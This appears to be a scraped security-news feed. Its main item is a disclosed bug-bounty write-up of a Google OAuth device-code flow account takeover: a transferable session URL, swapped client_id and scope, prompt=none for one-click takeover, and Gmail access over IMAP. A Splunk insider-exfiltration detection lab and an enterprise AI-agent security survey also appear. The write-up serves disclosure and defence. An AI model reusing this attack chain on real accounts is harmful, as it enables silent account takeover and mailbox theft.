paths.</p><p><strong>The detection — correlating three stages into one incident</strong></p><pre>index=windows (EventCode=4663 Object_Name="*CustomerExports*")<br>    OR (EventCode=4104 _raw="*CompressFilesHelper*")<br>    OR (EventCode=5156 Destination_Port=4444)<br>| transaction host maxspan=30m<br>| where eventcount &gt;= 3<br>| table _time, host, eventcount, duration</pre><p>The three OR conditions each match one stage. transaction host maxspan=30m groups events on the same host within a 30-minute window into one logical unit — the line that turns scattered events into a story. where eventcount &gt;= 3 only fires when all three stages hit the same host inside that window. One stage, nothing. Two, nothing. All three in sequence — that's a kill chain, not coincidence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ChuETHBGAxo0WqS68UXnKA.png"><figcaption><em>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04. Three innocent-looking actions revealed as one exfiltration chain.</em></figcaption></figure><p>Result: <strong>27 raw events correlated into 1 incident, spanning 25 minutes on FIN-WKS-04.</strong> One alert with the full narrative instead of 27 disconnected log lines nobody would piece together manually.</p><p><strong>What happens after the alert fires</strong></p><p>Detecting the chain is only step one. Here’s how I’d actually triage this in a live SOC:</p><p><strong>Severity:</strong> High. Confirmed customer PII touched, compressed, and sent to an external host — this isn’t “suspicious,” it’s a completed exfiltration, not an attempt.</p><p><strong>First move:</strong> Isolate FIN-WKS-04 from the network immediately to stop any further outbound activity, and disable the account pending investigation — not delete it, since the account and its full history are now evidence.</p><p><strong>Scope the blast radius:</strong> Pull every file that account touched in the same session window, not just the one flagged file — the transaction proves this exfiltration; it doesn’t rule out others in the same session.</p><p><strong>Escalate, don’t conclude:</strong> This is exactly the kind of finding that gets handed to IR and HR jointly, not closed solo by a SOC analyst. My job at this stage is to hand over a clean timeline, not decide intent — that’s a human resources and legal call, not a technical one.</p><p><strong>Tune after, don’t tune during:</strong> The 30-minute window and the 3-event threshold both need validation against real traffic before this becomes a production rule — a busy analyst doing legitimate bulk export-and-archive work could trip the same pattern. That tuning is exactly what separates a lab detection from a production one.</p><p>That last part matters more than the query itself. A rule that fires is only useful if someone downstream knows what to do the moment it does.</p><p><em>This is Phase 5 of a full Splunk Enterprise SIEM lab I built from scratch — 6 OWASP Top 10 detections, a live SOC dashboard, incident reports, and two documented detection gaps. Full lab and all SPL: github.com/ronakmishra28/meridian-soc-detection-lab</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=aeac34ea7190" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-detected-an-insider-threat-in-splunk-when-every-single-action-looked-legitimate-aeac34ea7190">How I Detected an Insider Threat in Splunk When Every Single Action Looked Legitimate</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[The script, not the voice, is what makes AI voice phishing work]]></title>
<description><![CDATA[The call comes in at 4:40 on a Friday. The voice belongs to a senior manager, or sounds close enough, and she needs a password reset before a flight. She is polite, she is in a hurry, and she has…
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<link>https://tsecurity.de/de/3675237/it-security-nachrichten/the-script-not-the-voice-is-what-makes-ai-voice-phishing-work/</link>
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<pubDate>Fri, 17 Jul 2026 08:39:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The call comes in at 4:40 on a Friday. The voice belongs to a senior manager, or sounds close enough, and she needs a password reset before a flight. She is polite, she is in a hurry, and she has…</p>
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<p>The post <a href="https://www.itsecuritynews.info/the-script-not-the-voice-is-what-makes-ai-voice-phishing-work/">The script, not the voice, is what makes AI voice phishing work</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The script, not the voice, is what makes AI voice phishing work]]></title>
<description><![CDATA[The call comes in at 4:40 on a Friday. The voice belongs to a senior manager, or sounds close enough, and she needs a password reset before a flight. She is polite, she is in a hurry, and she has the last four of the badge number. Researchers at Harvard Kennedy School, Meta and elsewhere ran a ve...]]></description>
<link>https://tsecurity.de/de/3675133/it-security-nachrichten/the-script-not-the-voice-is-what-makes-ai-voice-phishing-work/</link>
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<pubDate>Fri, 17 Jul 2026 07:37:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The call comes in at 4:40 on a Friday. The voice belongs to a senior manager, or sounds close enough, and she needs a password reset before a flight. She is polite, she is in a hurry, and she has the last four of the badge number. Researchers at Harvard Kennedy School, Meta and elsewhere ran a version of that moment past 4,100 US adults, using six commercial voice systems and human callers as a … <a href="https://www.helpnetsecurity.com/2026/07/17/research-ai-voice-phishing/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/17/research-ai-voice-phishing/">The script, not the voice, is what makes AI voice phishing work</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Netflix: Aussagen zu KI-Einsatz und Inhalts-Popularität]]></title>
<description><![CDATA[Bei Netflix tut sich einiges hinter den Kulissen. Man hat vor Analysten im Earnings call durchblicken lassen, dass Künstliche Intelligenz in diesem Jahr bereits bei rund 300 Titeln zum Einsatz gekommen ist. Die Technologie wird dabei vor allem für die...Zum Beitrag: Netflix: Aussagen zu KI-Einsat...]]></description>
<link>https://tsecurity.de/de/3675068/it-nachrichten/netflix-aussagen-zu-ki-einsatz-und-inhalts-popularitaet/</link>
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<pubDate>Fri, 17 Jul 2026 07:03:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bei Netflix tut sich einiges hinter den Kulissen. Man hat vor Analysten im Earnings call durchblicken lassen, dass Künstliche Intelligenz in diesem Jahr bereits bei rund 300 Titeln zum Einsatz gekommen ist. Die Technologie wird dabei vor allem für die...<p>Zum Beitrag: <a href="https://stadt-bremerhaven.de/netflix-aussagen-zu-ki-einsatz-und-inhalts-popularitaet/">Netflix: Aussagen zu KI-Einsatz und Inhalts-Popularität</a>
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<title><![CDATA[Reverse Phone Lookup: What Can You Learn From One?]]></title>
<description><![CDATA[Ever had a missed call from a number you don’t recognize and wanted to know who was calling? Or have you ever wanted to know who your partner or kids are messaging and calling all the time, but they just won’t tell you? Perhaps you have come across a random phone number and are wondering […]
The ...]]></description>
<link>https://tsecurity.de/de/3674920/betriebssysteme/reverse-phone-lookup-what-can-you-learn-from-one/</link>
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<pubDate>Fri, 17 Jul 2026 04:10:10 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Ever had a missed call from a number you don’t recognize and wanted to know who was calling? Or have you ever wanted to know who your partner or kids are messaging and calling all the time, but they just won’t tell you? Perhaps you have come across a random phone number and are wondering […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/protection/reverse-phone-lookup/">Reverse Phone Lookup: What Can You Learn From One?</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[The agent security gap: 54% of enterprises have already had an AI agent incident, and most still let agents share credentials]]></title>
<description><![CDATA[Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents s...]]></description>
<link>https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674536/it-nachrichten/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials/</guid>
<pubDate>Thu, 16 Jul 2026 21:47:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI agents are being given real access to systems and data while the controls meant to contain them lag behind. More than half have already had a confirmed agent security incident or a near-miss; only about a third give every agent its own scoped identity, and most agents still share credentials; and only three in ten isolate their highest-risk agents. The security stack is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents, spending remains a thin slice of the security budget, and enterprises are evenly split on whether their defenses are keeping pace with AI-enabled attackers. The result is an agent security gap — autonomous agents proliferating faster than the identity, isolation, and enforcement controls needed to hold them.</p><p>This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.</p><p>The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.</p><p>What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.</p><p>Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.</p><h2>Finding 1: The incidents are already here</h2><p><b>More than half have had an agent security incident or near-miss</b></p><p>We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.</p><div></div><p>This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.</p><p>Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.</p><h2>Finding 2: The identity gap</h2><p><b>Only a third give every agent its own scoped identity</b></p><p>We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.</p><div></div><p>Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.) </p><p>The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.</p><p>Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.</p><h2>Finding 3: Observe and enforce, but rarely isolate</h2><p><b>Only three in 10 sandbox their highest-risk agents</b></p><p>We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.</p><div></div><p>Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.</p><h2>Finding 4: Security runs on borrowed, provider-native controls</h2><p><b>Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register</b></p><p>We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.</p><div></div><p>Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.</p><p>The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 